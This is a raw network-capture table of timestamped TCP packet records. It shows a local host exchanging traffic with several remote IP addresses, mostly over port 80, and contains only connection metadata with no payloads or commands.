Nov 25, 2024 05:46:49.025779963 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.025880098 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.026015997 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.026853085 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.026899099 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.026959896 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.027092934 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.027928114 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.027980089 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.028074026 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.028115034 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.028997898 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.029056072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.029112101 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.029154062 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.030088902 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.030131102 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.030170918 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.030280113 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.031172037 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.031213045 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.031259060 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.031290054 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.032236099 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.032356024 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.032365084 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.032396078 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.033322096 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.033374071 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.033416033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.033457041 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.034404039 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.034452915 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.034461021 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.034498930 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.035490990 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.035576105 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.035604000 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.035641909 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.036576986 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.036616087 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.036676884 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.036796093 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.119858980 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.119888067 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.119946957 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.120377064 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.120439053 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.120454073 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.120559931 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.121419907 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.121488094 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.121799946 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.121902943 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.121932030 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.122029066 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.122899055 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.122972012 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.122998953 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.123159885 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.123970032 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.124047041 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.124067068 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.124138117 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.125065088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.125118971 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.125129938 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.125159025 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.126141071 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.126183987 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.126246929 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.126405001 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.127190113 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.127288103 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.127305984 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.127353907 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.128309011 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.128407955 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.128427029 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.128484964 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.129399061 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.129472017 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.129506111 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.129550934 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.130462885 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.130517006 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.130687952 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.131558895 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.131612062 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.131640911 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.131721020 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.132631063 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.132711887 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.132725954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.132882118 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.196628094 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.196710110 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.196732998 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.196787119 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.197160959 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.197256088 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.197259903 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.197303057 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.198261023 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.198334932 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.198440075 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.199299097 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.199366093 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.199390888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.199436903 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.200412989 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.200479984 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.200514078 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.200568914 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.201469898 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.201539040 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.201572895 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.201617956 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.202547073 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.202641964 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.202740908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.202820063 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.203679085 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.203741074 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.203831911 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.204070091 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.204727888 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.204807043 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.204827070 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.204870939 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.205786943 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.205897093 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.205899954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.205977917 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.206933975 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.206991911 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.207055092 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.207140923 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.207967997 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.208029985 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.208070040 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.208282948 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.209041119 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.209099054 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.209137917 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.209213018 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.210155010 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.210253000 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.210251093 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.210412025 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.211204052 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.211297035 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.211327076 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.211429119 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.212310076 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.212377071 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.212390900 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.212457895 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.213382006 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.213462114 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.213485956 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.213536024 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.214473009 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.214545965 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.214593887 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.214648008 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.215557098 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.215619087 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.215656996 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.215656996 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.216634989 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.216713905 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.216737986 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.217726946 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.217778921 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.217796087 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.218034029 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.351998091 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.352021933 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.352029085 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.352044106 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.352051973 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.352057934 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.352108955 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.352174044 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.352210999 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.352232933 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.416018963 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.535537004 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.548384905 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.549134016 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.549175024 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.549274921 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.549284935 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.549324036 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.549345016 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.549380064 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.549455881 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.549493074 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.549591064 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.549597025 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.549603939 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.566395998 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.566967964 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.566994905 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.567322016 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.567329884 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.591707945 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.592179060 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.592195034 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.592645884 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.592650890 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.593242884 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.593254089 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.593301058 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.593337059 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.593414068 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.593451977 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.593633890 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.607296944 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.607722998 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.607736111 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.608189106 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.608192921 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.614829063 CET	443	49892	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:49.614937067 CET	49892	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:49.645272017 CET	49892	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:49.645289898 CET	443	49892	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:49.645517111 CET	443	49892	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:49.645587921 CET	49892	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:49.651505947 CET	49892	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:49.651540041 CET	443	49892	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:49.674437046 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.674856901 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.674877882 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.675365925 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.675373077 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.736772060 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.736793041 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.736897945 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.736958027 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.736990929 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.737021923 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.747585058 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.747654915 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.747659922 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.747735023 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.748155117 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.748155117 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.748198032 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:49.748254061 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:49.749577045 CET	49897	443	192.168.2.6	23.209.72.33
Nov 25, 2024 05:46:49.749618053 CET	443	49897	23.209.72.33	192.168.2.6
Nov 25, 2024 05:46:49.749753952 CET	49897	443	192.168.2.6	23.209.72.33
Nov 25, 2024 05:46:49.752238989 CET	49898	443	192.168.2.6	23.209.72.33
Nov 25, 2024 05:46:49.752275944 CET	443	49898	23.209.72.33	192.168.2.6
Nov 25, 2024 05:46:49.752496004 CET	49898	443	192.168.2.6	23.209.72.33
Nov 25, 2024 05:46:49.753060102 CET	49897	443	192.168.2.6	23.209.72.33
Nov 25, 2024 05:46:49.753076077 CET	443	49897	23.209.72.33	192.168.2.6
Nov 25, 2024 05:46:49.753684998 CET	49898	443	192.168.2.6	23.209.72.33
Nov 25, 2024 05:46:49.753698111 CET	443	49898	23.209.72.33	192.168.2.6
Nov 25, 2024 05:46:49.862932920 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.862958908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.863002062 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.863070011 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.863418102 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.863477945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.863593102 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.863636971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.864145041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.864165068 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.864214897 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.864214897 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.864772081 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.865046978 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.865107059 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.865226984 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.866182089 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.866209030 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.866432905 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.866931915 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.867005110 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.867043972 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.867167950 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.868159056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.868269920 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.868307114 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.868386030 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.869199038 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.869363070 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.869362116 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.869503021 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.870188951 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.870260954 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.870301008 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.870348930 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.871464014 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.871540070 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.871615887 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.871953964 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.872549057 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.872566938 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.872611046 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.872612000 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.873505116 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.873601913 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.873692036 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.873748064 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.874526978 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.874598026 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.874808073 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.874893904 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.875622988 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.875716925 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.875888109 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.875946999 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.876986027 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.877002954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.877042055 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.877089024 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.878060102 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.878084898 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.878154039 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.878956079 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.879076004 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.879117966 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.879165888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.880156040 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.880300045 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.880342960 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.880419970 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.881031036 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.881088018 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.881129026 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.881213903 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.882407904 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.882427931 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.882487059 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.883281946 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.883327961 CET	80	49829	185.215.113.206	192.168.2.6
